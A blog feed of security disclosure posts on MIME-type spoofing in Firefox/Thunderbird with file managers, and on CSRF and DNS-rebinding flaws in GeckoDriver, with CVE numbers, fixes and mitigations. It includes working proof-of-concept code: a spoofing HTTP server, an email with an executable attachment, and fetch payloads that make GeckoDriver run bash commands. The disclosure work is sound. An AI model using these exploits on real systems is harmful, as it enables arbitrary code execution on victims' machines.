{"version": "https://jsonfeed.org/version/1", "title": "/dev/posts/ - Tag index - firefox", "home_page_url": "https://www.gabriel.urdhr.fr", "feed_url": "/tags/firefox/feed.json", "items": [{"id": "http://www.gabriel.urdhr.fr/2023/03/07/mime-type-spoofing/", "title": "MIME-type spoofing in Firefox/Thunderbird and file managers", "url": "https://www.gabriel.urdhr.fr/2023/03/07/mime-type-spoofing/", "date_published": "2023-03-07T00:00:00+01:00", "date_modified": "2023-03-07T00:00:00+01:00", "tags": ["computer", "web", "security", "vulnerability", "firefox", "freedesktop", "thunderbird"], "content_html": "
An interesting spoofing attack\nresulting from the interaction\nbetween Firefox (or Thunderbird)\nMIME types handling and file managers.
\nOn Firefox and Thunderbird, a user interface is used to let the user\nconfirm which program to use to open the file.\nBy using special Freedesktop MIME types\n(such as inode/directory
or x-scheme-handler/trash
),\na remote attacker can trick the user into thinking he is about to open a file\nwith a innocuous program (a file manager).\nHowever, when called this way,\nseveral file managers will try to call another program\nto handle the file\nwhich might result in the execution of another program.\nDepending on the program used,\nthis might be used to trigger arbitrary code execution\n(eg. using Mono to trigger arbitrary code execution).
Thunar, PCManFM, PCManFM-Qt were found to exhibit this behavior.
\nWe can use a visually confusable file name\nsuch as REPORT.\u03a1DF (notice the non-ASCII first letter in the extension) in order to trick the user\ninto thinking he is opening a \"safe\" file type while disabling MIME-type\ndetection based on the file name extension.
\nMoreover, in Firefox and Thunderbird, we can corrupt the file\nassociation database (handlers.json)\nin order to display a bogus file\ntype description associated with the inode/directory or x-scheme-\nhandler/trash MIME type. This is done by first serving a \"safe\" file\ntype (such as a PDF) with this MIME type.
\nVulnerabilities:
\ninode/*
, x-scheme-handler/*
);Attack scenario:
\ninode/directory
MIME type;pcmanfm ~/Downloads/REPORT.\u03a1DF
);application/x-ms-dos-executable
)mono ~/Downloads/REPORT.\u03a1DF
);Found on:
\nFirefox accepts special Freedesktop MIME types\n(such as inode/*
and x-scheme-handler/*
)\nin Content-Type
HTTP response headers\nand use them to choose which program to use to open the files.\nThis can be used to let Firefox suggest using file managers to open these files.\nWhen combined with vulnerabilities in some file managers,\nthis can be used to trick the user into opening the file with dangerous programs.
Similarly, Thunderbird accepts special Freedesktop MIME types\nin Content-Type
e-mail headers.
This has been reported in Mozilla bug 1702821.
\nIn addition, the Firefox/Thunderbird file type association database (handlers.json
)\ncan be manipulated by a remote attacker to associate a bogus file type description\nto unknown MIME types.\nThis can be used to make it more difficult for the user to detect the attack.
This has been reported in Mozilla bug 1702821.
\nWhen called with a regular file as a CLI argument,\nThunar would try to determine its file type based on its file extension or content (magic bytes)\nand call any program associated with this file type.\nCombined with the Firefox/Thunderbird issue,\nthis can be used to trick the used into opening\na malicious file with an unintended program.\nThis could result on arbitrary code execution.
\nThis is CVE-2021-32563.
\nThis is fixed\nin Thunar 4.16.7 and 4.17.2.\nWhen called with a regular file,\nThunar now opens the containing directory and selects the file\ninstead of automatically calling another program to handle the file.\nThe fix introduced a regression\nwhich is fixed\nin 4.16.8 and 4.17.3.
\nWhen called with a regular file as a CLI argument,\nPCManFM would try to determine its file type based on its file extension or content (magic bytes)\nand call any program associated with this file type.
\nThis has been reported to the maintainers and submited later on\nas feature request 436.
\nWhen called with a regular file as a CLI argument,\nPCManFM-Qt would try to determine its file type based on its file extension or content (magic bytes)\nand call any program associated with this file type.
\nThis issue has been reported but this is not considered a vulnerability by the authors\n(I disagree with this but I get it).\nNo fix has been implemented.
\ninode/directory
See the video of the basic exaple using Firefox.
\nProof of concept HTTP server:
\n#!/usr/bin/python3\n\nfrom xml.sax.saxutils import escape\nfrom flask import Flask, request, make_response\n\ndef xmlescape(data):\n return escape(data, entities={\n \"'\": \"'\",\n \"\\\"\": \""\"\n })\n\napp = Flask(__name__)\n\n\n# A standard PDF:\n@app.route(\"/report.pdf\")\ndef pdf_as_directory():\n data = open(\"test.pdf\", \"rb\").read()\n response = make_response(data)\n response.content_type = \"inode/directory\"\n return response\n\n\n# Some malicious CLR/.NET payload:\n@app.route(\"/REPORT.\u03a1DF\")\ndef directory_route_exe_as_pdf():\n data = open(\"test.exe\", \"rb\").read()\n response = make_response(data)\n response.content_type = \"inode/directory\"\n return response\n\n\nresources = [\n \"/report.pdf\",\n \"/REPORT.\u03a1DF\",\n]\n\n\n@app.route(\"/\")\ndef home():\n html = \"<meta charset='utf8'><ul>\" + \"\".join([\n f\"<li><a href='{xmlescape(resource)}'>{xmlescape(resource)}</a></li>\"\n for resource in resources\n ])+ \"</ul>\"\n response = make_response(html)\n response.content_type = \"text/html\"\n return response\n
\nLet us see what happens under the hood:
\n\nThe malicious HTTP server serves /REPORT.\u03a1DF
file with inode/directory
.\nThis special MIME type is used by Freedesktop\nto represent directories.\nFile managers usually associates themselves with this special MIME type:
[Desktop Entry]\nVersion=1.0\nType=Application\nExec=exo-open --launch FileManager %u\nIcon=org.xfce.filemanager\nStartupNotify=true\nTerminal=false\nCategories=Utility;X-XFCE;X-Xfce-Toplevel;\nOnlyShowIn=XFCE;\nX-XFCE-MimeType=inode/directory;x-scheme-handler/trash;\nX-AppStream-Ignore=True\n
\nBecause of this Content-Type
, Firefox is going to propose opening the file\nwith a file manager such as Thunar, PCManFM, PCManFM-Qt, Dolphin, etc.
If the user chooses \"OK\", the file is opened with the chosen file manager.\nWhen called with a regular file, many file managers try to find a suitable program\nto open the file based on its MIME type.\nThe file type is usually found using:
\nIn order to trick the user, into accepting our file we used REPORT.\u03a1DF as a file name.\nThe file extension should in theory take precedence over the content of the file for\ndeciding which file type is used.\nHowever, the first letter of our file name extension is actually not a P\nbut a greek capital letter rho (U+03A1).
\nBecause this is not a well-known file name extensions,\nthe MIME type is not infered from the file name extension\nbut from the content of the file (magic bytes).
\nThe file is actually not a PDF file but a .NET/CLR/Mono executable file.\nIn Debian, when Mono is installed these files are associated with the Mono interpreter\n(see the desktop files in appendix).\nThe file managers calls the mono
interpreter to open (actually execute) the file\nleading to arbitrary code execution on the machine.
The following file managers exbibit this behavior:
\nSee the video of the advanced attack using Firefox, with file type description spoofing.
\nYou might wonder why the Firefox UI is showing \u201cPortable File Document\u201d for the file served as inode/directory
.\nThis can be achieved by tricking Firefox into associating the \u201cPortable File Document\u201d\ndescription to the inode/directory
special MIME type.
In order to do with, we first serve the a valid PDF using Content-Type: inode/directory
\nto the user. After this, Firefox associates the \u201cPortable File Document\u201d label\nwith inode/directory
in handlers.json
:
{\n // ...\n \"mimeTypes\": {\n // ...\n \"inode/directory\": {\n \"action\": 4,\n \"extensions\": [\n \"pdf\"\n ],\n \"ask\": true\n },\n \"inode/directory\": {\n \"action\": 2,\n \"extensions\": [\n \"pdf\"\n ],\n \"handlers\": [\n {\n \"name\": \"Gestionnaire de fichiers Thunar\",\n \"path\": \"/usr/bin/thunar\"\n },\n {\n \"name\": \"Gestionnaire de fichiers PCManFM\",\n \"path\": \"/usr/bin/pcmanfm\"\n }\n ],\n \"ask\": true\n }\n }\n // ...\n}\n
\nThis can be seen in user interface as well:
\n\nThe video\nshows that the label associated with inode/directory
\nchanges changes from \u201cdirectory\u201d to \u201cPortable Document Format\u201d\nafter the user opens a valid PDF file served with the inode/directory
Content-Type
.
x-scheme-handler/trash
The same behavior happens with x-scheme-handler/trash
.\nThis is used to associated the trash:
URI scheme (user tash) with file managers.
See the video of the basic example using Thunderbird.
\nThe same kind of behavior can be achieved using Thunderbird.
\nTo: Bob <bob@example.com>\nFrom: Alice <alice@example.com>\nSubject: Test\nMessage-ID: <9d3781d2-b165-4bf8-99ec-7f9c56372f52@example.com>\nDate: Thu, 13 May 2021 09:05:40 +0200\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101\n Thunderbird/78.10.0\nMIME-Version: 1.0\nContent-Type: multipart/mixed;\n boundary=\"------------99C154C06B53866E3351CA8D\"\nContent-Language: en-US\n\nThis is a multi-part message in MIME format.\n--------------99C154C06B53866E3351CA8D\nContent-Type: text/plain; charset=utf-8\nContent-Transfer-Encoding: 7bit\n\n\n\n--------------99C154C06B53866E3351CA8D\nContent-Type: inode/directory\nContent-Transfer-Encoding: base64\nContent-Disposition: attachment;\n filename=\"test.\u03a1DF\"\n\nTVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g\nRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAAAAAAAAAAAAAAAAAOAAAgELAQgAAAQAAAAG\nAAAAAAAAjiMAAAAgAAAAQAAAAABAAAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACAAAAAAgAA\n...\n
\n\nClient applications such as web browsers and email client should probably\nignore these special MIME types in Content-Type
headers (or similar fields)\nwhen choosing which program to use to open a file.\nThese MIME types are not expected to be found in this context and do not make sense in this case.\nThe presence of these special MIME types in HTTP or e-mail Content-Type
headers\nshould be considered an attempt at a spoofing attack.
File managers should not delegate to other programs when called with a regular file as a CLI argument.\nOther commands exist for this purpose (xdg-open
, exo-open
, etc.).
I do not believe that the user expects thunar hello.exe
\nto actually execute the program (especially without confirmation).\nI would expect this command to open a file manager window\nin the parent directory instead and possibly pre-select the file.
Note that another exploitations of this type of behavior\nhas been disclosed recently.
\nSome file managers have a more secure behavior\nwhen invoked with a regular file as argument:
\nIt is dangerous for program to associate themselves with file types\nif opening these file can lead to arbitrary code execution without confirmation.\nPrograms which can trigger arbitrary code execution when opening files\nshould probably implement some confirmation when invoked through file type association.
\nThe Freedesktop specifications should probably warn about this.
\nIf you are using Firefox,\nyou might want to check that Firefox is configured to save downloaded file\ninstead of opening them directly.
\n\nxfce4-file-manager.desktop
:
[Desktop Entry]\nVersion=1.0\nType=Application\nExec=exo-open --launch FileManager %u\nIcon=org.xfce.filemanager\nStartupNotify=true\nTerminal=false\nCategories=Utility;X-XFCE;X-Xfce-Toplevel;\nOnlyShowIn=XFCE;\nX-XFCE-MimeType=inode/directory;x-scheme-handler/trash;\nX-AppStream-Ignore=True\n
\nthunar.destop
:
[Desktop Entry]\nName=Thunar File Manager\nComment=Browse the filesystem with the file manager\nExec=thunar %F\nIcon=org.xfce.thunar\nTerminal=false\nStartupNotify=true\nType=Application\nMimeType=inode/directory\n
\npcmanfm.desktop
:
[Desktop Entry]\nType=Application\nIcon=system-file-manager\nName=File Manager PCManFM\nGenericName=File Manager\nComment=Browse the file system and manage the file\nCategories=System;FileTools;FileManager;Utility;Core;GTK;\nExec=pcmanfm %U\nStartupNotify=true\nTerminal=false\nMimeType=inode/directory;\n
\npcmanfm-qt.desktop
:
[Desktop Entry]\nType=Application\nName=PCManFM-Qt File Manager\nGenericName=File Manager\nComment=Browse the file system and manage the files\nExec=pcmanfm-qt %U\nMimeType=inode/directory;\nIcon=system-file-manager\nCategories=FileManager;Utility;Core;Qt;\nStartupNotify=true\n
\nmono-runtime-common.desktop
:
[Desktop Entry]\nName=Mono Runtime\nExec=mono\nTerminal=false\nType=Application\nIcon=mono-runtime-common\nMimeType=application/x-ms-dos-executable;\nNoDisplay=true\n
\n"}, {"id": "http://www.gabriel.urdhr.fr/2022/05/05/browser-mediated-attacks-on-webdriver/", "title": "Browser-based attacks on WebDriver implementations", "url": "https://www.gabriel.urdhr.fr/2022/05/05/browser-mediated-attacks-on-webdriver/", "date_published": "2022-05-05T00:00:00+02:00", "date_modified": "2022-05-05T00:00:00+02:00", "tags": ["computer", "security", "web", "vulnerability", "webdriver", "firefox", "dns-rebinding", "csrf"], "content_html": "Some context and analysis about attacks on\nin WebDriver implementations.
\nReferences | \nType | \nAffected Component | \nImpact | \n
---|---|---|---|
CVE-2020-15660, Bug 1648964 | \nCSRF | \ngeckodriver | \nRemote Code Execution | \n
CVE-2022-28108 | \nCSRF | \nSelenium server | \nRemote Code Execution | \n
Bug 1100097 | \nCross-origin/same-site request forgery | \nchromedriver | \nRemote Code Execution | \n
CVE-2021-4138, Bug 1652612 | \nDNS rebinding | \ngeckodriver | \nRemote Code Execution | \n
CVE-2022-28109 | \nDNS rebinding | \nSelenium server | \nRemote Code Execution | \n
I wanted to try Zed Attack Proxy (ZAP)\nfor checking the vulnerability of web sites and services.
\nZAP is (among other things) a meddler-in-the-middle (MITM) proxy server.\nIt sits between your web browser and the web sites you want to test\nand captures all the HTTP and WebSocket traffic between the browser and web sites.\nYou can display it is a nice table for further analysis.\nYou can then replay a request, modify the request.\nIt can as well intercept requests and responses and let you modify them on the fly.\nFor this to work for HTTPS web sites, the browser must be configured\nto accept a local Certificate Authority (CA) generated by ZAP.
\nOne way to proceed is to manually configure the browser to use ZAP as a proxy\nand manually add ZAP CA. Another approach it to let ZAP spawn a fresh browser\ninstance which is automatically configured and somewhat controlled by ZAP:
\n\nIn order to do this, ZAP relies\non Selenium libraries which itself relies on\nthe WebDriver protocol.
\nMy initial goal was to understand how the communication between ZAP\nand the browser works and whether an attacker could possibly attack\nthe user through this channel.
\nWebDriver is a HTTP-based JSON-based W3C-standard protocol\nfor browser automation.\nIn all browsers, WebDriver protocol support is not implemented\nin the browser itself. Instead, the browser implements a native/proprietary\nautomation/debugging protocol and a separate program translates\nbetween the native protocol and the standard WebDriver protocol.
\n\nWebDriver WebDriver server Browser\n client (bridge) |\n | | |\n v v v\n[...]-------->[geckodriver]-------->[firefox]\n ^ ^\n | |\n WebDriver Marionette\n protocol protocol\n\nWebDriver WebDriver server Browser\n client (bridge) |\n | | |\n v v v\n[...]-------->[chromedriver]-------->[Chrome]\n ^ ^\n | |\n WebDriver Chrome DevTools\n protocol protocol\n\n
Here we are focusing on attacks based on the WebDriver protocol.
\nNote: WebDriver bidi
\nA new specification, WebDriver bidi,\nextending WebDriver for bidirectional communication\nis being worked on.
\nFor Firefox, geckodriver is implementing the WebDriver protocol.\nWhen run (geckodriver
), it listens by default on 127.0.0.1:4444.\nWe can then create a WebDriver session with:
curl -X POST http://localhost:4444/session \\\n -H\"Content-Type: application/json\" \\\n -d'{\"capabilities\":{}}'\n
\nUpon receiving this request geckodriver
spawns a Firefox instance as:
firefox-esr -marionette -foreground -no-remote \\\n -profile /tmp/rust_mozprofilenpAkba\n
\nThe -marionette
flag asks Firefox to listen to automation commands using\nits native protocol, Marionette[1]. By default, Firefox listens\non localhost only.
The WebDriver server answers with a body like:
\n{\"value\":{\n \"sessionId\":\"f5543763-25d3-40f9-b7e1-f9304357fb49\",\n \"capabilities\":{\n \"acceptInsecureCerts\":false,\n \"browserName\":\"firefox\",\n \"browserVersion\":\"68.10.0\",\n \"moz:accessibilityChecks\":false,\n \"moz:buildID\":\"20200622191537\",\n \"moz:geckodriverVersion\":\"0.26.0\",\n \"moz:headless\":false,\n \"moz:processID\":3099,\n \"moz:profile\":\"/tmp/rust_mozprofilenpAkba\",\n \"moz:shutdownTimeout\":60000,\n \"moz:useNonSpecCompliantPointerOrigin\":false,\n \"moz:webdriverClick\":true,\n \"pageLoadStrategy\":\"normal\",\n \"platformName\":\"linux\",\n \"platformVersion\":\"4.19.0-9-amd64\",\n \"rotatable\":false,\n \"setWindowRect\":true,\n \"strictFileInteractability\":false,\n \"timeouts\":{\n \"implicit\":0,\n \"pageLoad\":300000,\n \"script\":30000\n },\n \"unhandledPromptBehavior\":\"dismiss and notify\"\n }\n}}\n
\nThe sessionId
parameter identifies the session and will be used\nto control the WebDriver session.
We can now for example ask the browser to navigate to a given URI with:
\ncurl -X POST \"http://localhost:4444/session/f5543763-25d3-40f9-b7e1-f9304357fb49/url\" \\\n -H\"Content-Type: application/json\" \\\n -d '{\"url\": \"https://www.gabriel.urdhr.fr/\"}'\n
\nGeckodriver only allows a single WebDriver session at given time.\nWhile an existing session is still present,\nit will refuse the creation of a new WebDriver session.
\nchromedriver
is the WebDriver implementation for Chromium.\nBy default, it listens on localhost only (127.0.0.1::9515
and [::1]:9515
).
When a session is created, it spawns a Chrome instance as:
\n/opt/google/chrome/chrome \\\n --disable-background-networking --disable-client-side-phishing-detection \\\n --disable-default-apps --disable-hang-monitor --disable-popup-blocking \\\n --disable-prompt-on-repost --disable-sync --enable-automation \\\n --enable-blink-features=ShadowDOMV0 --enable-logging \\\n --load-extension=/tmp/.org.chromium.Chromium.1IEzDp/internal --log-level=0 \\\n --no-first-run --password-store=basic --remote-debugging-port=0 \\\n --test-type=webdriver --use-mock-keychain \\\n --user-data-dir=/tmp/.org.chromium.Chromium.NU3KFK data:,\n
\nThe -remote-debugging-port=0
argument makes Chrome listen using its native\nautomation/debugging protocol,\nChrome DevTools Protocol (CDP).\nWhen the value 0
is used, Chrome chooses the port by itself.\nChrome listens on 127.0.0.1
only.
The WebDriver protocol is that it is based on HTTP.\nMoreover, none of the existing implementations support any form of authentication[2].\nThe service is only accessible from the local machine (bound to localhost) by default\nin all implementations.\nThe security of the WebDriver service is solely based on\nthe fact that the service is not (directly) accessible from a remote attacker.
\nHere is an extract of the \u201csecurity\u201d section\nof the WebDriver specification:
\n\n\nTo prevent arbitrary machines on the network from connecting and creating sessions,\nit is suggested that only connections from loopback devices are allowed by default.
\nThe remote end can include a configuration option to limit the accepted\nIP range allowed to connect and make requests. The default setting for\nthis might be to limit connections to the IPv4 localhost CIDR range\n127.0.0.0/8 and the IPv6 localhost address ::1. [RFC4632]
\n
Two classes of vulnerabilities are very often\nfound in local-services which are only secured by the fact\nthat they are not accessible by remote attackers[3]:
\nThe idea of these two types of attacks is the same:\na malicious web site tricks the user browser\ninto issuing requests to the vulnerable service.\nThe service is not directly accessible by the\nremote attacker but is potentially indirectly accessible\nthrough the user browser.
\nThree different WebDriver implementations\nwere vulnerabilities to browser-mediated attacks:
\nIn all cases, this could be used by a malicious website for arbitrary code execution.
\nIn the case of chromedriver however, CSRF attacks were previously possible.\nCurrently, the attack is only possible in cross-origin/same-site\nso the impact is very limited. As we have seen local users can already attack the service directly.\nA remote attacker would have to exploit another vulnerability in another localhost-bound\norigin in order be able to exploit the vulnerability.
\nIn the case of Geckodriver, the exposure is limited by the fact that only a single session\ncan be used at the same time per geckodriver instance.\nFor example, when launched by ZAP, ZAP directly creates a session\nso the geckodriver instance is vulnerable for a very short duration.
\nI would argue that\nthese vulnerabilities are possible because of the weak security model of WebDriver instances\nwhich do not support any form of authentication.\nHowever both CSRF and DNS-rebinding attacks can be prevented\nwithout adding dedicated support for authentication in the implementations.
\nAnother security concern, is that any local user can access these services.\nAs we have seen, we can execute arbitrary commands over WebDriver for both geckodriver and\nchromedriver. This means that running geckodriver or chromedriver gives a way\nfor any other local user to execute arbitrary commands on our behalf.
\nSome solutions to solve both browser-based attacks and local-user attacks would be:
\nPF_UNIX
socket[4].The WebDriver specification\nshould probably:
\nContent-Type
of WebDriver requests (as a simple way to prevent CSRF attacks).More generally, many debugging interfaces allow remote code execution\n(often by design) but often lack any form of authentication.\nSome are web-based and may be vulnerable to CSRF and/or DNS-rebinding attacks.\nProtection against local users is usually not considered an issue.\nFor example:
\ngdbserver
may listen on a TCP port but does not support any form of authentication;-Xdebug -Xrunjdwp:transport=dt_socket,address=8888,server=y
) without any authentication.This is a JSON-based Remote Procedure call (RPC) protocol. In contrast to the WebDriver protocol,\nit is not based on HTTP. Message framing is done by prefixing\neach message by its length (eg. 81:[0,1,\"WebDriver:NewSession\",{\"acceptInsecureCerts\":true,\"browserName\":\"firefox\"}]
). \u21a9\ufe0e
Authentication is not mentionned in the WebDriver specification.\nWhile it would be theoretically possible to support HTTP-based\nauthentication, no implementataion (client or server)\nsupports this as far as I know. \u21a9\ufe0e
\nThis includes a lot of services exposed on the LAN by IoT devices,\nprinters, smart TVs, etc. and localhost-bound services of many applications.\nAs we have already seen, UPnP services are an intersesting example\nof this kind of services and many UPnP services are vulnerable to CSRF\nand DNS rebinding attacks. \u21a9\ufe0e
\nWe cannot reach PF_UNIX
sockets through CSRF or DNS rebinding.\nIn addition, we can prevent other local users from connecting to such a\nsocket. \u21a9\ufe0e
A DNS rebinding vulnerability I found in\nGeckoDriver which could be used to execute arbitrary shell commands.\nThis is bug #1652612\nand CVE-2021-4138.
\nGeckoDriver is vulnerable to DNS rebinding attacks.\nIn contrast to the CSRF vulnerability previously reported,\nwhen using this vulnerability, an attacker can see the responses\nof the attacked GeckoDriver instance and can thus interact\nwith the created session. This could be used:
\nfile://
);This vulnerability has been tested on:
\nThis has been fixed on GeckoDriver v0.30.0.
\nThe following JavaScript payload served from a HTTP web server\nusing the same port number as GeckoDriver (eg. TCP 4444)\nmay be used to trigger the vulnerability:
\nfunction sleep(delay) {\n return new Promise((resolve, reject) => {setInterval(resolve, delay);});\n}\nasync function createSession() {\n while (true) {\n const response = await fetch(\"/session\", {\n method: \"POST\",\n mode: \"same-origin\",\n headers: {\n 'Content-Type': 'application/json'\n },\n body: JSON.stringify({\n \"capabilities\": {\n \"alwaysMatch\": {\n }\n }\n })\n });\n if (response.status >= 200 && response.status < 300)\n return response.json();\n await sleep(1000);\n }\n}\nasync function main() {\n const creation = await createSession();\n const sessionId = creation.value.sessionId;\n const sessionPath = \"/session/\" + sessionId;\n fetch(sessionPath + \"/url\", {\n method: \"POST\",\n mode: \"same-origin\",\n headers: {\n 'Content-Type': 'application/json',\n },\n body: JSON.stringify({\n \"url\": \"https://www.youtube.com/watch?v=oHg5SJYRHA0\"\n })\n });\n}\nmain()\n
\nThe browser user must access this web server using a DNS rebinding\ndomain name. For example using whonow:
\n\nhttp://a.192.0.2.1.3time.192.168.1.42.forever.3600bba7-1363-43c6-0065-ccb92aaeccb3.rebind.network:4444/\n\n
This should create a new GeckoDriver session and open a given URI.
\nIn a previous post I showed how\nit was possible to execute arbitrary code through the moz:firefoxOptions
option.\nThis has been mitigated in recent versions of GeckoDriver by trying to check\nthat the binary
is actually a Firefox binary.\nHowever, in contrast to the CSRF vulnerability, we can now obtain the response\nresulting from the session creation: using the session ID we can now control\nthe spawned Firefox instance.\nWe can use this to find new ways to execute arbitrary shell commands.
We can use the profile
parameter to define a custom Firefox profile:
async function createSession() {\n const profileResponse = await fetch(\"/profile.b64\")\n const profile = await profileResponse.text();\n while (true) {\n try {\n const response = await fetch(\"/session\", {\n method: \"POST\",\n mode: \"same-origin\",\n headers: {\n 'Content-Type': 'application/json'\n },\n body: JSON.stringify({\n \"capabilities\": {\n \"alwaysMatch\": {\n \"moz:firefoxOptions\": {\n \"profile\": profile,\n }\n }\n }\n })\n });\n if (response.status >= 200 && response.status < 300)\n return response.json();\n\n }\n catch(e) {\n\n }\n await sleep(1000);\n }\n}\n
\nThis parameter can contain a base-64 Zip arcihve containing a custom Firefox profile.
\nThe attacker can use a custom handlers.json
file in the custom profile\nin order to associate PDF files with /bin/bash
:
{\n \"defaultHandlersVersion\":{\"fr\":3},\n \"mimeTypes\":{\n \"application/pdf\":{\n \"action\":2,\n \"extensions\":[\"pdf\"],\n \"handlers\":[\n {\"name\":\"bash\",\"path\":\"/bin/bash\"}\n ]\n }\n },\n \"schemes\":{}\n}\n
\nThe \"actions\":2
is used to always open the file without user interaction.
The PDF we are going to serve is actually a bash script:
\n#!/bin/sh\nxterm -e nyancat\n
\nThe attacker can redirect the spawned Firefox instance under their control\nto this shell script (served as a PDF) using a WebDriver request:
\nasync function main() {\n const creation = await createSession();\n const sessionId = creation.value.sessionId;\n const sessionPath = \"/session/\" + sessionId;\n fetch(sessionPath + \"/url\", {\n method: \"POST\",\n mode: \"same-origin\",\n headers: {\n 'Content-Type': 'application/json',\n },\n body: JSON.stringify({\n \"url\": \"http://127.0.0.99:4444/script.pdf\"\n }),\n });\n}\n
\nFirefox will use /bin/bash
to open this file.\nUsing this construct the attacker can execute an arbitrary system command as the user.
GeckoDriver is vulnerable to DNS rebinding attacks because it is accepting\nrequests using arbitrary Host
header (eg. Host: a.192.0.2.1.3time.192.168.1.42.forever.3600bba7-1363-43c6-0065-ccb92aaeccb3.rebind.network:4444
).\nBy checking the value of the Host
header and enforcing values such as\nlocalhost:444
, we can prevent DNS rebinding attacks.
As previously discussed, adding (opt-in) HTTP-level authentication\nwould prevent a wide range of attacks (including attacks from local users)\nif this feature were to be supported by WebDriver clients.
\nAs previously discussed, adding an options for using PF_LOCAL\nsocket would prevent a wide range of attacks\nif this feature were to be supported by WebDriver clients.
\nA Cross-Site Request Forgery (CSRF) vulnerability I found in\nGeckoDriver which could be used to execute arbitrary shell commands.\nCVE-2020-15660\nhas been assigned to this vulnerability.\nThis was fixed by GeckoDriver v0.27.0\nin 2020-07-27.\nThis is bug #1648964.
\nGeckoDriver v0.26.0 and below is vulnerable to CSRF.\nWhile no WebDriver session is running,\nthis can be used to\nexecute arbitrary system commands (remote command execution)\nas demonstrated by this exploit:
\nfetch(\"http://localhost:4444/session\", {\n method: \"POST\",\n mode: 'no-cors',\n headers: {\n 'Content-Type': 'text/plain'\n },\n body: JSON.stringify({\n \"capabilities\": {\n \"alwaysMatch\": {\n \"moz:firefoxOptions\": {\n \"binary\": \"/bin/bash\",\n \"args\": [\"posix\", \"+n\", \"-c\", 'bash -c \"$1\"', \"bash\", \"xterm -e nyancat\"]\n }\n }\n }\n }),\n});\n
\nI have tested this vulnerability on:
\nBy default, GeckoDriver listens on http://localhost:4444
.\nThis prevents other machines from directly attacking the GeckoDriver\ninstance. However GeckoDriver is vulnerable to CSRF attacks as demonstrated by:
fetch(\"http://localhost:4444/session\", {\n method: \"POST\",\n mode: 'no-cors',\n headers: {\n 'Content-Type': 'text/plain'\n },\n body: JSON.stringify({\n \"capabilities\": {\n \"alwaysMatch\": {}\n }\n };\n});\n
\nWhen executed by the user's browser from another origin, this code\nspawns a new Firefox instance.\nThis must happen while no WebDriver session is running in GeckoDriver\nas GeckoDriver rejects the creation of a second session.
\nThe scope of this attack might seem limited because the attacker cannot\neasily interact with the created session. Acting on the session through CSRF\nis possible if the session ID is known but it is not easily possible for the\nattacker to find the session ID:
\nIt is however possible for the attacker to execute arbitrary commands\nwith the session creation request.
\nThe following properties of moz:firefoxOptions
\nare of particular interest:
binary
lets the attacker specify the path of the Firefox binary to execute;args
lets the attacker specify a list of arguments to pass to this command;profile
lets the attacker specify a Firefox profile directory (which could be used\nto load interesting extensions in the browser);prefs
lets the attacker set Firefox preferences;env
lets the attacker set environment variables.The actual command executed by GeckoDriver to create a browser is:
\n\"$binary\" -marionette \"$args[@]\" -foreground -no-remote -profile \"$profile\"\n
\nIn order to execute arbitrary command,\nwe need to find a program which accepts\nan initial -marionette
argument and execute commands taken from $args
\nor from environment variables.
bash
can used to execute arbitrary system commands\nas demonstrated by the following exploit\nwhich executes the xterm -e nyancat
system command:
fetch(\"http://localhost:4444/session\", {\n method: \"POST\",\n mode: 'no-cors',\n headers: {\n 'Content-Type': 'text/plain'\n },\n body: JSON.stringify({\n \"capabilities\": {\n \"alwaysMatch\": {\n \"moz:firefoxOptions\": {\n \"binary\": \"/bin/bash\",\n \"args\": [\"posix\", \"+n\", \"-c\", 'bash -c \"$1\"', \"bash\", \"xterm -e nyancat\"]\n }\n }\n }\n }),\n});\n
\nThe command executed by GeckoDriver is:
\nbash -marionnette posix +n -c 'bash -c \"$1\"' bash \"xterm -e nyancat\" \\\n -foreground -no-remote -profile \"$profile\"\n
\nThe initial -marionette
argument is interpreted as a serie of flags.\nThe only problematic ones are:
-r
flag asks for a restricted shell. This might be problematic\nbecause it adds a number of restriction to the commands allowed.\nIt is however easy to escape from this restricted shell by calling a new\nshell instance as is done in this example.-n
flag asks to only parse the commands instead of executing them.\nThis could be problematic but we can actually reverse it with +n
.-o
flags expects an option in the following argument.\nIn this example, we set the posix
option.CSRF is possible because GeckoDriver accepts requests\nwith any Content-Type
. Another origin can make POST\nrequests to GeckoDriver using the following content-types:\napplication/x-www-form-urlencoded
,\nmultipart/form-data
, text/plain
.
GeckoDriver could fix this vulnerability by rejecting these\ncontent-types. GeckoDriver could even reject all requests\nwhich do not have a JSON content-type. This seems to be a\nviolation of the WebDriver specification which does not\nmandate a JSON content-type for WebDriver POST requests.
\nIt looks like this is a\ndefect of the WebDriver specification\nwhich encourages CSRF attacks on WebDriver servers.\nI have reportes a similar issue\non another whromedriver\nThe specification should explicitly allow a server-side\nimplementation of the WebDriver to reject dangerous\ncontent-types and should require the client-side to\nuse a JSON content-type. Additionnaly, the security\nsection of the WebDriver specification should probably\nmention the risks of CSRF attacks.
\nAn new command-line flag could be added to GeckoDriver in\norder to require some form of HTTP authentication.\nWhen enabled, this would prevent CSRF attacks as well as\nattacks from other users on the same host.
\nGeckoDriver could receive a new option to listen on a PF_LOCAL
\nsocket. These sockets are normally not accessible by CSRF.\nThis could additionnaly be used to prevent other users\non the same machine from talking to the GeckoDriver instance.
Several changes where implemented to harden GeckoDriver\nagainst this kind of attacks.
\nOn of these changes include a verification of the Content-Type
header:
if method == Method::POST {\n // Disallow CORS-safelisted request headers\n // c.f. https://fetch.spec.whatwg.org/#cors-safelisted-request-header\n let content_type = content_type_header\n .as_ref()\n .map(|x| x.find(';').and_then(|idx| x.get(0..idx)).unwrap_or(x))\n .map(|x| x.trim())\n .map(|x| x.to_lowercase());\n match content_type.as_ref().map(|x| x.as_ref()) {\n Some(\"application/x-www-form-urlencoded\")\n | Some(\"multipart/form-data\")\n | Some(\"text/plain\") => {\n return warp::reply::with_status(\n \"Invalid content-type\".to_string(),\n StatusCode::BAD_REQUEST,\n )\n }\n Some(_) | None => {}\n }\n
\nIn addition, the Origin
header is checked as well:
